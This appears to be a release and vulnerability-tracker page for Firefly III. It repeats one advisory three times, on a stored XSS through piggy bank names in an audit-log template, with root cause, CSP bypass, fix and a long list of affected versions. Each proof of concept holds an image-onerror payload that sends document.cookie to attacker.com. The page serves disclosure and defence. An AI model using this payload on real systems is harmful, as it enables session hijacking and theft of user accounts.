grumpydictator/firefly-iii

Version	Released
`v6.7.9` patch	Oct 11, 2026
`v6.7.8` patch	Oct 10, 2026
`v6.7.7` patch	Oct 03, 2026
`v6.7.6` patch	Sep 28, 2026
`v6.7.5` patch	Sep 27, 2026
`v6.7.4` patch	Sep 25, 2026
`v6.7.3` patch	Sep 18, 2026
`v6.7.2` patch	Sep 16, 2026
`v6.7.1` patch	Sep 15, 2026
`v6.7.0` minor	Sep 14, 2026
`v6.6.6` patch	Jul 01, 2026
`v6.6.5` patch	Jun 30, 2026
`v6.6.4` patch	Jun 30, 2026
`v6.6.3` patch	May 21, 2026
`v6.6.2` patch 1 CVE	Apr 27, 2026
`v6.6.1` patch 1 CVE	Apr 19, 2026
`v6.6.0` minor 1 CVE	Apr 19, 2026
`v6.5.9` patch 2 CVEs	Mar 23, 2026
`v6.5.8` patch 2 CVEs	Mar 21, 2026
`v6.5.7` patch 2 CVEs	Mar 21, 2026
`v6.5.6` patch 2 CVEs	Mar 15, 2026
`v6.5.5` patch 2 CVEs	Mar 15, 2026
`v6.5.4` patch 2 CVEs	Mar 06, 2026
`v6.5.3` patch 2 CVEs	Mar 04, 2026
`v6.5.2` patch 2 CVEs	Mar 03, 2026
`v6.5.1` patch 2 CVEs	Feb 27, 2026
`v6.5.0` minor 3 CVEs	Feb 23, 2026
`v6.4.23` patch 3 CVEs	Feb 20, 2026
`v6.4.22` patch 2 CVEs	Feb 15, 2026
`v6.4.21` patch 2 CVEs	Feb 14, 2026
`v6.4.20` patch 2 CVEs	Feb 14, 2026
`v6.4.19` patch 2 CVEs	Feb 14, 2026
`v6.4.18` patch 2 CVEs	Feb 08, 2026
`v6.4.17` patch 2 CVEs	Feb 07, 2026
`v6.4.16` patch 2 CVEs	Jan 17, 2026
`v6.4.15` patch 2 CVEs	Jan 06, 2026
`v6.4.14` patch 2 CVEs	Dec 16, 2025
`v6.4.13` patch 2 CVEs	Dec 16, 2025
`v6.4.12` patch 2 CVEs	Dec 16, 2025
`v6.4.11` patch 2 CVEs	Dec 15, 2025
`v6.4.10` patch 2 CVEs	Dec 14, 2025
`v6.4.9` patch 2 CVEs	Nov 28, 2025
`v6.4.8` patch 2 CVEs	Nov 13, 2025
`v6.4.7` patch 2 CVEs	Nov 12, 2025
`v6.4.6` patch 2 CVEs	Nov 08, 2025
`v6.4.5` patch 2 CVEs	Nov 08, 2025
`v6.4.4` patch 2 CVEs	Nov 01, 2025
`v6.4.3` patch 2 CVEs	Nov 01, 2025
`v6.4.2` patch 2 CVEs	Oct 07, 2025
`v6.4.1` patch 2 CVEs	Oct 07, 2025

v6.7.9 patch

Oct 11, 2026

v6.7.8 patch

Oct 10, 2026

v6.7.7 patch

Oct 03, 2026

v6.7.6 patch

Sep 28, 2026

v6.7.5 patch

Sep 27, 2026

v6.7.4 patch

Sep 25, 2026

v6.7.3 patch

Sep 18, 2026

v6.7.2 patch

Sep 16, 2026

v6.7.1 patch

Sep 15, 2026

v6.7.0 minor

Sep 14, 2026

v6.6.6 patch

Jul 01, 2026

v6.6.5 patch

Jun 30, 2026

v6.6.4 patch

Jun 30, 2026

v6.6.3 patch

May 21, 2026

v6.6.2 patch

1 CVE

GHSA-6jq6-x4cx-qvcm Jun 12, 2026

Firefly II has Stored XSS in Audit Log Entry view via piggy bank name (ale.twig)

Medium

Network Low Low

Summary

The Twig template resources/views/list/ale.twig renders the piggy bank name from AuditLogEntry.after.piggy using the |raw filter, bypassing Twig's auto-escaping. A piggy bank created with an HTML payload in its name executes arbitrary JavaScript in any browser viewing that transaction's audit log.

Root Cause

The |raw filter is required on the outer trans() call to preserve  tags in the amount parameter (currency styling). However, this also disables escaping for the user-controlled name parameter.

Vulnerable code (resources/views/list/ale.twig lines 107, 110):

{{ trans('firefly.ale_action_log_add', {
    amount: formatAmountBySymbol(...),
    name: logEntry.after.piggy
})|raw }}

No HTML sanitization at storage time — PiggyBankStoreRequest only validates min:1|max:255|uniquePiggyBankForUser.

Data Flow

POST /api/v1/piggy-banks {"name": "<img src=x onerror=...>"}
  → Stored verbatim in piggy_banks.name
  → Transaction rule fires add_to_piggy / remove_from_piggy
  → UpdatePiggyBank::handle() stores AuditLogEntry.after.piggy = raw name
  → Any user views /transactions/show/{id}
  → ale.twig outputs unescaped payload → XSS fires

CSP Note

The nonce-based CSP (script-src 'nonce-...' 'strict-dynamic') does not prevent this attack. Inline event handlers (onerror, onload) in HTML attributes are governed by script-src-attr, which is unrestricted in the current policy. The <img onerror=...> payload bypasses the nonce requirement entirely.

PoC

Authenticate as any user
POST /api/v1/piggy-banks with "name": "<img src=x onerror=fetch('https://attacker.com?c='+document.cookie)>"
Create a rule: action = "Add money to piggy bank [attacker's piggy bank]"
Trigger the rule on any transaction
Visit /transactions/show/{id} → payload fires

Confirmed server response (v6.6.2):

Added <span class="text-success money-positive">EUR 50.00</span> to piggy bank
"<img src=x onerror=alert(document.cookie)>"

Impact

Stored XSS persists in DB — fires for every user who views the transaction
Cookie theft → session hijacking
In multi-user setups: one user attacks another user or admin
Chainable with CSRF-like operations

Fix

PR #12271 (merged into develop): add |e to escape only the user-controlled name parameter.

{{ trans('firefly.ale_action_log_add', {
    amount: formatAmountBySymbol(...),
    name: logEntry.after.piggy|e
})|raw }}

Affected versions


          3.0.0


          3.0.1


          3.0.2


          3.0.3

3.1


          3.1.1


          3.1.2


          3.1.3


          3.1.4


          3.1.5


          3.1.6


          3.10

+ 400 more


            3.10.1


            3.10.2


            3.10.3


            3.10.4


            3.2.0


            3.2.1


            3.2.2


            3.2.3


            3.2.4


            3.2.5

3.3


            3.3.1


            3.3.2


            3.3.3


            3.3.4


            3.3.5


            3.3.6


            3.3.7


            3.3.8


            3.3.9

3.4


            3.4.0.1


            3.4.0.10


            3.4.0.2


            3.4.0.3


            3.4.0.4


            3.4.0.5


            3.4.0.6


            3.4.0.7


            3.4.0.8


            3.4.0.9


            3.4.1


            3.4.10


            3.4.11


            3.4.2


            3.4.3


            3.4.4


            3.4.4.1


            3.4.4.2


            3.4.5


            3.4.6


            3.4.6.1


            3.4.7


            3.4.8


            3.4.9


            3.5.0


            3.5.1


            3.5.2


            3.5.3


            3.5.4


            3.5.5


            3.5.6


            3.5.6.1


            3.6.0


            3.6.1


            3.7.0


            3.7.1


            3.7.2


            3.7.2.1


            3.7.2.2


            3.7.2.3


            3.8.0


            3.8.1


            3.8.2


            3.8.3


            3.8.4


            3.9.0


            3.9.1


            4.0.0


            4.0.1


            4.0.2


            4.1.0


            4.1.1


            4.1.2


            4.1.3


            4.1.4


            4.1.5


            4.1.6


            4.1.7


            4.2.0


            4.2.1


            4.2.2


            4.3.0


            4.3.1


            4.3.2


            4.3.3


            4.3.4


            4.3.5


            4.3.6


            4.3.7


            4.3.8


            4.4.0


            4.4.1


            4.4.2


            4.4.3


            4.5.0


            4.6.0


            4.6.1


            4.6.10


            4.6.11


            4.6.11.1


            4.6.12


            4.6.13


            4.6.2


            4.6.3


            4.6.3.1


            4.6.4


            4.6.5


            4.6.6


            4.6.7


            4.6.8


            4.6.9


            4.7.0


            4.7.1


            4.7.1.1


            4.7.1.2


            4.7.1.3


            4.7.1.4


            4.7.10


            4.7.11


            4.7.12


            4.7.12.1


            4.7.13


            4.7.14


            4.7.15


            4.7.16


            4.7.17


            4.7.17.1


            4.7.17.2


            4.7.17.3


            4.7.17.4


            4.7.17.5


            4.7.17.6


            4.7.2


            4.7.2.1


            4.7.2.2


            4.7.3


            4.7.3.1


            4.7.3.2


            4.7.4


            4.7.5


            4.7.5.1


            4.7.5.2


            4.7.5.3


            4.7.6


            4.7.6.1


            4.7.6.2


            4.7.7


            4.7.8


            4.7.9


            4.8.0


            4.8.0.1


            4.8.0.2


            4.8.0.3


            4.8.1


            4.8.1.1


            4.8.1.2


            4.8.1.3


            4.8.1.4


            4.8.1.5


            4.8.1.6


            4.8.1.7


            4.8.1.8


            4.8.2


            4.8.2-alpha.1


            4.8.2-alpha.2


            4.8.2-alpha.3


            4.8.2-alpha.4


            4.8.2-alpha.5


            4.8.2-alpha.6


            4.8.2-beta.1


            4.8.2-beta.2


            4.8.3-alpha.1


            5.0.0


            5.0.0-alpha.1


            5.0.0-alpha.2


            5.0.0-beta.1


            5.0.1


            5.0.2


            5.0.3


            5.0.4


            5.0.5


            5.1.0


            5.1.0-alpha.1


            5.1.0-beta.1


            5.1.1


            5.2.0


            5.2.0-alpha.1


            5.2.0-beta.1


            5.2.1


            5.2.2


            5.2.3


            5.2.4


            5.2.5


            5.2.6


            5.2.7


            5.2.8


            5.3.0


            5.3.0-alpha.1


            5.3.0-beta.1


            5.3.0-beta.2


            5.3.1


            5.3.2


            5.3.3


            5.4.0


            5.4.0-alpha.1


            5.4.0-alpha.2


            5.4.0-alpha.3


            5.4.0-beta.1


            5.4.1


            5.4.2


            5.4.3


            5.4.4


            5.4.5


            5.4.6


            5.5.0


            5.5.0-beta.1


            5.5.0-beta.2


            5.5.0-beta.3


            5.5.1


            5.5.10


            5.5.11


            5.5.12


            5.5.13


            5.5.2


            5.5.3


            5.5.4


            5.5.5


            5.5.6


            5.5.7


            5.5.8


            5.5.9


            5.6.0


            5.6.0-alpha.1


            5.6.0-alpha.2


            5.6.1


            5.6.10


            5.6.11


            5.6.12


            5.6.13


            5.6.14


            5.6.15


            5.6.16


            5.6.2


            5.6.3


            5.6.4


            5.6.5


            5.6.6


            5.6.7


            5.6.8


            5.6.9


            5.7.0


            5.7.1


            5.7.10


            5.7.11


            5.7.12


            5.7.13


            5.7.14


            5.7.15


            5.7.16


            5.7.17


            5.7.18


            5.7.2


            5.7.3


            5.7.4


            5.7.5


            5.7.6


            5.7.7


            5.7.8


            5.7.9


            5.8.0-alpha.1


            6.0.0-alpha.1


            6.0.0-alpha.2


            6.0.0-beta.1


            6.0.9


            v6.0.0


            v6.0.0-beta.2


            v6.0.1


            v6.0.10


            v6.0.11


            v6.0.12


            v6.0.13


            v6.0.14


            v6.0.15


            v6.0.16


            v6.0.17


            v6.0.18


            v6.0.19


            v6.0.2


            v6.0.20


            v6.0.21


            v6.0.22


            v6.0.23


            v6.0.24


            v6.0.25


            v6.0.26


            v6.0.27


            v6.0.28


            v6.0.29


            v6.0.3


            v6.0.30


            v6.0.4


            v6.0.5


            v6.0.6


            v6.0.7


            v6.0.8


            v6.1.0


            v6.1.0-alpha.1


            v6.1.1


            v6.1.10


            v6.1.11


            v6.1.12


            v6.1.13


            v6.1.14


            v6.1.15


            v6.1.16


            v6.1.17


            v6.1.18


            v6.1.19


            v6.1.2


            v6.1.20


            v6.1.21


            v6.1.22


            v6.1.23


            v6.1.24


            v6.1.25


            v6.1.3


            v6.1.4


            v6.1.5


            v6.1.6


            v6.1.7


            v6.1.8


            v6.1.9


            v6.2.0


            v6.2.0-alpha.1


            v6.2.0-alpha.2


            v6.2.0-beta.1


            v6.2.1


            v6.2.10


            v6.2.11


            v6.2.12


            v6.2.13


            v6.2.14


            v6.2.15


            v6.2.16


            v6.2.17


            v6.2.18


            v6.2.19


            v6.2.2


            v6.2.20


            v6.2.21


            v6.2.3


            v6.2.4


            v6.2.5


            v6.2.6


            v6.2.7


            v6.2.8


            v6.2.9


            v6.3.0


            v6.3.0-beta.1


            v6.3.0-beta.2


            v6.3.1


            v6.3.2


            v6.4.0


            v6.4.1


            v6.4.10


            v6.4.11


            v6.4.12


            v6.4.13


            v6.4.14


            v6.4.15


            v6.4.16


            v6.4.17


            v6.4.18


            v6.4.19


            v6.4.2


            v6.4.20


            v6.4.21


            v6.4.22


            v6.4.23


            v6.4.3


            v6.4.4


            v6.4.5


            v6.4.6


            v6.4.7


            v6.4.8


            v6.4.9


            v6.5.0


            v6.5.1


            v6.5.2


            v6.5.3


            v6.5.4


            v6.5.5


            v6.5.6


            v6.5.7


            v6.5.8


            v6.5.9


            v6.6.0


            v6.6.1


            v6.6.2

Fixed in


          6.6.3

References

Updated Sep 10, 2026 · Source: OSV.dev

Apr 27, 2026

v6.6.1 patch

1 CVE

GHSA-6jq6-x4cx-qvcm Jun 12, 2026

Firefly II has Stored XSS in Audit Log Entry view via piggy bank name (ale.twig)

Medium

Network Low Low

Summary

The Twig template resources/views/list/ale.twig renders the piggy bank name from AuditLogEntry.after.piggy using the |raw filter, bypassing Twig's auto-escaping. A piggy bank created with an HTML payload in its name executes arbitrary JavaScript in any browser viewing that transaction's audit log.

Root Cause

The |raw filter is required on the outer trans() call to preserve  tags in the amount parameter (currency styling). However, this also disables escaping for the user-controlled name parameter.

Vulnerable code (resources/views/list/ale.twig lines 107, 110):

{{ trans('firefly.ale_action_log_add', {
    amount: formatAmountBySymbol(...),
    name: logEntry.after.piggy
})|raw }}

No HTML sanitization at storage time — PiggyBankStoreRequest only validates min:1|max:255|uniquePiggyBankForUser.

Data Flow

POST /api/v1/piggy-banks {"name": "<img src=x onerror=...>"}
  → Stored verbatim in piggy_banks.name
  → Transaction rule fires add_to_piggy / remove_from_piggy
  → UpdatePiggyBank::handle() stores AuditLogEntry.after.piggy = raw name
  → Any user views /transactions/show/{id}
  → ale.twig outputs unescaped payload → XSS fires

CSP Note

The nonce-based CSP (script-src 'nonce-...' 'strict-dynamic') does not prevent this attack. Inline event handlers (onerror, onload) in HTML attributes are governed by script-src-attr, which is unrestricted in the current policy. The <img onerror=...> payload bypasses the nonce requirement entirely.

PoC

Authenticate as any user
POST /api/v1/piggy-banks with "name": "<img src=x onerror=fetch('https://attacker.com?c='+document.cookie)>"
Create a rule: action = "Add money to piggy bank [attacker's piggy bank]"
Trigger the rule on any transaction
Visit /transactions/show/{id} → payload fires

Confirmed server response (v6.6.2):

Added <span class="text-success money-positive">EUR 50.00</span> to piggy bank
"<img src=x onerror=alert(document.cookie)>"

Impact

Stored XSS persists in DB — fires for every user who views the transaction
Cookie theft → session hijacking
In multi-user setups: one user attacks another user or admin
Chainable with CSRF-like operations

Fix

PR #12271 (merged into develop): add |e to escape only the user-controlled name parameter.

{{ trans('firefly.ale_action_log_add', {
    amount: formatAmountBySymbol(...),
    name: logEntry.after.piggy|e
})|raw }}

Affected versions


          3.0.0


          3.0.1


          3.0.2


          3.0.3

3.1


          3.1.1


          3.1.2


          3.1.3


          3.1.4


          3.1.5


          3.1.6


          3.10

+ 400 more


            3.10.1


            3.10.2


            3.10.3


            3.10.4


            3.2.0


            3.2.1


            3.2.2


            3.2.3


            3.2.4


            3.2.5

3.3


            3.3.1


            3.3.2


            3.3.3


            3.3.4


            3.3.5


            3.3.6


            3.3.7


            3.3.8


            3.3.9

3.4


            3.4.0.1


            3.4.0.10


            3.4.0.2


            3.4.0.3


            3.4.0.4


            3.4.0.5


            3.4.0.6


            3.4.0.7


            3.4.0.8


            3.4.0.9


            3.4.1


            3.4.10


            3.4.11


            3.4.2


            3.4.3


            3.4.4


            3.4.4.1


            3.4.4.2


            3.4.5


            3.4.6


            3.4.6.1


            3.4.7


            3.4.8


            3.4.9


            3.5.0


            3.5.1


            3.5.2


            3.5.3


            3.5.4


            3.5.5


            3.5.6


            3.5.6.1


            3.6.0


            3.6.1


            3.7.0


            3.7.1


            3.7.2


            3.7.2.1


            3.7.2.2


            3.7.2.3


            3.8.0


            3.8.1


            3.8.2


            3.8.3


            3.8.4


            3.9.0


            3.9.1


            4.0.0


            4.0.1


            4.0.2


            4.1.0


            4.1.1


            4.1.2


            4.1.3


            4.1.4


            4.1.5


            4.1.6


            4.1.7


            4.2.0


            4.2.1


            4.2.2


            4.3.0


            4.3.1


            4.3.2


            4.3.3


            4.3.4


            4.3.5


            4.3.6


            4.3.7


            4.3.8


            4.4.0


            4.4.1


            4.4.2


            4.4.3


            4.5.0


            4.6.0


            4.6.1


            4.6.10


            4.6.11


            4.6.11.1


            4.6.12


            4.6.13


            4.6.2


            4.6.3


            4.6.3.1


            4.6.4


            4.6.5


            4.6.6


            4.6.7


            4.6.8


            4.6.9


            4.7.0


            4.7.1


            4.7.1.1


            4.7.1.2


            4.7.1.3


            4.7.1.4


            4.7.10


            4.7.11


            4.7.12


            4.7.12.1


            4.7.13


            4.7.14


            4.7.15


            4.7.16


            4.7.17


            4.7.17.1


            4.7.17.2


            4.7.17.3


            4.7.17.4


            4.7.17.5


            4.7.17.6


            4.7.2


            4.7.2.1


            4.7.2.2


            4.7.3


            4.7.3.1


            4.7.3.2


            4.7.4


            4.7.5


            4.7.5.1


            4.7.5.2


            4.7.5.3


            4.7.6


            4.7.6.1


            4.7.6.2


            4.7.7


            4.7.8


            4.7.9


            4.8.0


            4.8.0.1


            4.8.0.2


            4.8.0.3


            4.8.1


            4.8.1.1


            4.8.1.2


            4.8.1.3


            4.8.1.4


            4.8.1.5


            4.8.1.6


            4.8.1.7


            4.8.1.8


            4.8.2


            4.8.2-alpha.1


            4.8.2-alpha.2


            4.8.2-alpha.3


            4.8.2-alpha.4


            4.8.2-alpha.5


            4.8.2-alpha.6


            4.8.2-beta.1


            4.8.2-beta.2


            4.8.3-alpha.1


            5.0.0


            5.0.0-alpha.1


            5.0.0-alpha.2


            5.0.0-beta.1


            5.0.1


            5.0.2


            5.0.3


            5.0.4


            5.0.5


            5.1.0


            5.1.0-alpha.1


            5.1.0-beta.1


            5.1.1


            5.2.0


            5.2.0-alpha.1


            5.2.0-beta.1


            5.2.1


            5.2.2


            5.2.3


            5.2.4


            5.2.5


            5.2.6


            5.2.7


            5.2.8


            5.3.0


            5.3.0-alpha.1


            5.3.0-beta.1


            5.3.0-beta.2


            5.3.1


            5.3.2


            5.3.3


            5.4.0


            5.4.0-alpha.1


            5.4.0-alpha.2


            5.4.0-alpha.3


            5.4.0-beta.1


            5.4.1


            5.4.2


            5.4.3


            5.4.4


            5.4.5


            5.4.6


            5.5.0


            5.5.0-beta.1


            5.5.0-beta.2


            5.5.0-beta.3


            5.5.1


            5.5.10


            5.5.11


            5.5.12


            5.5.13


            5.5.2


            5.5.3


            5.5.4


            5.5.5


            5.5.6


            5.5.7


            5.5.8


            5.5.9


            5.6.0


            5.6.0-alpha.1


            5.6.0-alpha.2


            5.6.1


            5.6.10


            5.6.11


            5.6.12


            5.6.13


            5.6.14


            5.6.15


            5.6.16


            5.6.2


            5.6.3


            5.6.4


            5.6.5


            5.6.6


            5.6.7


            5.6.8


            5.6.9


            5.7.0


            5.7.1


            5.7.10


            5.7.11


            5.7.12


            5.7.13


            5.7.14


            5.7.15


            5.7.16


            5.7.17


            5.7.18


            5.7.2


            5.7.3


            5.7.4


            5.7.5


            5.7.6


            5.7.7


            5.7.8


            5.7.9


            5.8.0-alpha.1


            6.0.0-alpha.1


            6.0.0-alpha.2


            6.0.0-beta.1


            6.0.9


            v6.0.0


            v6.0.0-beta.2


            v6.0.1


            v6.0.10


            v6.0.11


            v6.0.12


            v6.0.13


            v6.0.14


            v6.0.15


            v6.0.16


            v6.0.17


            v6.0.18


            v6.0.19


            v6.0.2


            v6.0.20


            v6.0.21


            v6.0.22


            v6.0.23


            v6.0.24


            v6.0.25


            v6.0.26


            v6.0.27


            v6.0.28


            v6.0.29


            v6.0.3


            v6.0.30


            v6.0.4


            v6.0.5


            v6.0.6


            v6.0.7


            v6.0.8


            v6.1.0


            v6.1.0-alpha.1


            v6.1.1


            v6.1.10


            v6.1.11


            v6.1.12


            v6.1.13


            v6.1.14


            v6.1.15


            v6.1.16


            v6.1.17


            v6.1.18


            v6.1.19


            v6.1.2


            v6.1.20


            v6.1.21


            v6.1.22


            v6.1.23


            v6.1.24


            v6.1.25


            v6.1.3


            v6.1.4


            v6.1.5


            v6.1.6


            v6.1.7


            v6.1.8


            v6.1.9


            v6.2.0


            v6.2.0-alpha.1


            v6.2.0-alpha.2


            v6.2.0-beta.1


            v6.2.1


            v6.2.10


            v6.2.11


            v6.2.12


            v6.2.13


            v6.2.14


            v6.2.15


            v6.2.16


            v6.2.17


            v6.2.18


            v6.2.19


            v6.2.2


            v6.2.20


            v6.2.21


            v6.2.3


            v6.2.4


            v6.2.5


            v6.2.6


            v6.2.7


            v6.2.8


            v6.2.9


            v6.3.0


            v6.3.0-beta.1


            v6.3.0-beta.2


            v6.3.1


            v6.3.2


            v6.4.0


            v6.4.1


            v6.4.10


            v6.4.11


            v6.4.12


            v6.4.13


            v6.4.14


            v6.4.15


            v6.4.16


            v6.4.17


            v6.4.18


            v6.4.19


            v6.4.2


            v6.4.20


            v6.4.21


            v6.4.22


            v6.4.23


            v6.4.3


            v6.4.4


            v6.4.5


            v6.4.6


            v6.4.7


            v6.4.8


            v6.4.9


            v6.5.0


            v6.5.1


            v6.5.2


            v6.5.3


            v6.5.4


            v6.5.5


            v6.5.6


            v6.5.7


            v6.5.8


            v6.5.9


            v6.6.0


            v6.6.1


            v6.6.2

Fixed in


          6.6.3

References

Updated Sep 10, 2026 · Source: OSV.dev

Apr 19, 2026

v6.6.0 minor

1 CVE

GHSA-6jq6-x4cx-qvcm Jun 12, 2026

Firefly II has Stored XSS in Audit Log Entry view via piggy bank name (ale.twig)

Medium

Network Low Low

Summary

The Twig template resources/views/list/ale.twig renders the piggy bank name from AuditLogEntry.after.piggy using the |raw filter, bypassing Twig's auto-escaping. A piggy bank created with an HTML payload in its name executes arbitrary JavaScript in any browser viewing that transaction's audit log.

Root Cause

The |raw filter is required on the outer trans() call to preserve  tags in the amount parameter (currency styling). However, this also disables escaping for the user-controlled name parameter.

Vulnerable code (resources/views/list/ale.twig lines 107, 110):

{{ trans('firefly.ale_action_log_add', {
    amount: formatAmountBySymbol(...),
    name: logEntry.after.piggy
})|raw }}

No HTML sanitization at storage time — PiggyBankStoreRequest only validates min:1|max:255|uniquePiggyBankForUser.

Data Flow

POST /api/v1/piggy-banks {"name": "<img src=x onerror=...>"}
  → Stored verbatim in piggy_banks.name
  → Transaction rule fires add_to_piggy / remove_from_piggy
  → UpdatePiggyBank::handle() stores AuditLogEntry.after.piggy = raw name
  → Any user views /transactions/show/{id}
  → ale.twig outputs unescaped payload → XSS fires

CSP Note

The nonce-based CSP (script-src 'nonce-...' 'strict-dynamic') does not prevent this attack. Inline event handlers (onerror, onload) in HTML attributes are governed by script-src-attr, which is unrestricted in the current policy. The <img onerror=...> payload bypasses the nonce requirement entirely.

PoC

Authenticate as any user
POST /api/v1/piggy-banks with "name": "<img src=x onerror=fetch('https://attacker.com?c='+document.cookie)>"
Create a rule: action = "Add money to piggy bank [attacker's piggy bank]"
Trigger the rule on any transaction
Visit /transactions/show/{id} → payload fires

Confirmed server response (v6.6.2):

Added <span class="text-success money-positive">EUR 50.00</span> to piggy bank
"<img src=x onerror=alert(document.cookie)>"

Impact

Stored XSS persists in DB — fires for every user who views the transaction
Cookie theft → session hijacking
In multi-user setups: one user attacks another user or admin
Chainable with CSRF-like operations

Fix

PR #12271 (merged into develop): add |e to escape only the user-controlled name parameter.

{{ trans('firefly.ale_action_log_add', {
    amount: formatAmountBySymbol(...),
    name: logEntry.after.piggy|e
})|raw }}

Affected versions


          3.0.0


          3.0.1


          3.0.2


          3.0.3

3.1


          3.1.1


          3.1.2


          3.1.3


          3.1.4


          3.1.5


          3.1.6


          3.10

+ 400 more


            3.10.1


            3.10.2


            3.10.3


            3.10.4


            3.2.0


            3.2.1


            3.2.2


            3.2.3


            3.2.4


            3.2.5

3.3


            3.3.1


            3.3.2


            3.3.3


            3.3.4


            3.3.5


            3.3.6


            3.3.7


            3.3.8


            3.3.9

3.4


            3.4.0.1


            3.4.0.10


            3.4.0.2


            3.4.0.3


            3.4.0.4


            3.4.0.5


            3.4.0.6


            3.4.0.7


            3.4.0.8


            3.4.0.9


            3.4.1


            3.4.10


            3.4.11


            3.4.2


            3.4.3


            3.4.4


            3.4.4.1


            3.4.4.2


            3.4.5


            3.4.6


            3.4.6.1


            3.4.7


            3.4.8


            3.4.9


            3.5.0


            3.5.1


            3.5.2


            3.5.3


            3.5.4


            3.5.5


            3.5.6


            3.5.6.1


            3.6.0


            3.6.1


            3.7.0


            3.7.1


            3.7.2


            3.7.2.1


            3.7.2.2


            3.7.2.3


            3.8.0


            3.8.1


            3.8.2


            3.8.3


            3.8.4


            3.9.0


            3.9.1


            4.0.0


            4.0.1


            4.0.2


            4.1.0


            4.1.1


            4.1.2


            4.1.3


            4.1.4


            4.1.5


            4.1.6


            4.1.7


            4.2.0


            4.2.1


            4.2.2


            4.3.0


            4.3.1


            4.3.2


            4.3.3


            4.3.4


            4.3.5


            4.3.6


            4.3.7


            4.3.8


            4.4.0


            4.4.1


            4.4.2


            4.4.3


            4.5.0


            4.6.0


            4.6.1


            4.6.10


            4.6.11


            4.6.11.1


            4.6.12


            4.6.13


            4.6.2


            4.6.3


            4.6.3.1


            4.6.4


            4.6.5


            4.6.6


            4.6.7


            4.6.8


            4.6.9


            4.7.0


            4.7.1


            4.7.1.1


            4.7.1.2


            4.7.1.3


            4.7.1.4


            4.7.10


            4.7.11


            4.7.12


            4.7.12.1


            4.7.13


            4.7.14


            4.7.15


            4.7.16


            4.7.17


            4.7.17.1


            4.7.17.2


            4.7.17.3


            4.7.17.4


            4.7.17.5


            4.7.17.6


            4.7.2


            4.7.2.1


            4.7.2.2


            4.7.3


            4.7.3.1


            4.7.3.2


            4.7.4


            4.7.5


            4.7.5.1


            4.7.5.2


            4.7.5.3


            4.7.6


            4.7.6.1


            4.7.6.2


            4.7.7


            4.7.8


            4.7.9


            4.8.0


            4.8.0.1


            4.8.0.2


            4.8.0.3


            4.8.1


            4.8.1.1


            4.8.1.2


            4.8.1.3


            4.8.1.4


            4.8.1.5


            4.8.1.6


            4.8.1.7


            4.8.1.8


            4.8.2


            4.8.2-alpha.1


            4.8.2-alpha.2


            4.8.2-alpha.3


            4.8.2-alpha.4


            4.8.2-alpha.5


            4.8.2-alpha.6


            4.8.2-beta.1


            4.8.2-beta.2


            4.8.3-alpha.1


            5.0.0


            5.0.0-alpha.1


            5.0.0-alpha.2


            5.0.0-beta.1


            5.0.1


            5.0.2


            5.0.3


            5.0.4


            5.0.5


            5.1.0


            5.1.0-alpha.1


            5.1.0-beta.1


            5.1.1


            5.2.0


            5.2.0-alpha.1


            5.2.0-beta.1


            5.2.1


            5.2.2


            5.2.3


            5.2.4


            5.2.5


            5.2.6


            5.2.7


            5.2.8


            5.3.0


            5.3.0-alpha.1


            5.3.0-beta.1


            5.3.0-beta.2


            5.3.1


            5.3.2


            5.3.3


            5.4.0


            5.4.0-alpha.1


            5.4.0-alpha.2


            5.4.0-alpha.3


            5.4.0-beta.1


            5.4.1


            5.4.2


            5.4.3


            5.4.4


            5.4.5


            5.4.6


            5.5.0


            5.5.0-beta.1


            5.5.0-beta.2


            5.5.0-beta.3


            5.5.1


            5.5.10


            5.5.11


            5.5.12


            5.5.13


            5.5.2


            5.5.3


            5.5.4


            5.5.5


            5.5.6


            5.5.7


            5.5.8


            5.5.9


            5.6.0


            5.6.0-alpha.1


            5.6.0-alpha.2


            5.6.1


            5.6.10


            5.6.11


            5.6.12


            5.6.13


            5.6.14


            5.6.15


            5.6.16


            5.6.2


            5.6.3


            5.6.4


            5.6.5


            5.6.6


            5.6.7


            5.6.8


            5.6.9


            5.7.0


            5.7.1


            5.7.10


            5.7.11


            5.7.12


            5.7.13


            5.7.14


            5.7.15


            5.7.16


            5.7.17


            5.7.18


            5.7.2


            5.7.3


            5.7.4


            5.7.5


            5.7.6


            5.7.7


            5.7.8


            5.7.9


            5.8.0-alpha.1


            6.0.0-alpha.1


            6.0.0-alpha.2


            6.0.0-beta.1


            6.0.9


            v6.0.0


            v6.0.0-beta.2


            v6.0.1


            v6.0.10


            v6.0.11


            v6.0.12


            v6.0.13


            v6.0.14


            v6.0.15


            v6.0.16


            v6.0.17


            v6.0.18


            v6.0.19


            v6.0.2


            v6.0.20


            v6.0.21


            v6.0.22


            v6.0.23


            v6.0.24


            v6.0.25


            v6.0.26


            v6.0.27


            v6.0.28


            v6.0.29


            v6.0.3


            v6.0.30


            v6.0.4


            v6.0.5


            v6.0.6


            v6.0.7


            v6.0.8


            v6.1.0


            v6.1.0-alpha.1


            v6.1.1


            v6.1.10


            v6.1.11


            v6.1.12


            v6.1.13


            v6.1.14


            v6.1.15


            v6.1.16


            v6.1.17


            v6.1.18


            v6.1.19


            v6.1.2


            v6.1.20


            v6.1.21


            v6.1.22


            v6.1.23


            v6.1.24


            v6.1.25


            v6.1.3


            v6.1.4


            v6.1.5


            v6.1.6


            v6.1.7


            v6.1.8


            v6.1.9


            v6.2.0


            v6.2.0-alpha.1


            v6.2.0-alpha.2


            v6.2.0-beta.1


            v6.2.1


            v6.2.10


            v6.2.11


            v6.2.12


            v6.2.13


            v6.2.14


            v6.2.15


            v6.2.16


            v6.2.17


            v6.2.18


            v6.2.19


            v6.2.2


            v6.2.20


            v6.2.21


            v6.2.3


            v6.2.4


            v6.2.5


            v6.2.6


            v6.2.7


            v6.2.8


            v6.2.9


            v6.3.0


            v6.3.0-beta.1


            v6.3.0-beta.2


            v6.3.1


            v6.3.2


            v6.4.0


            v6.4.1


            v6.4.10


            v6.4.11


            v6.4.12


            v6.4.13


            v6.4.14


            v6.4.15


            v6.4.16


            v6.4.17


            v6.4.18


            v6.4.19


            v6.4.2


            v6.4.20


            v6.4.21


            v6.4.22


            v6.4.23


            v6.4.3


            v6.4.4


            v6.4.5


            v6.4.6


            v6.4.7


            v6.4.8


            v6.4.9


            v6.5.0


            v6.5.1


            v6.5.2


            v6.5.3


            v6.5.4


            v6.5.5


            v6.5.6


            v6.5.7


            v6.5.8


            v6.5.9


            v6.6.0


            v6.6.1


            v6.6.2

Fixed in


          6.6.3

References

Updated Sep 10, 2026 · Source: OSV.dev

Apr 19, 2026

v6.5.9 patch

2 CVEs

CVE-2026-50886 GHSA-9mmg-q95p-gp67 Jun 15, 2026

Project Firefly III has incorrect access control in the webhook management component

9.1 / 10

Critical

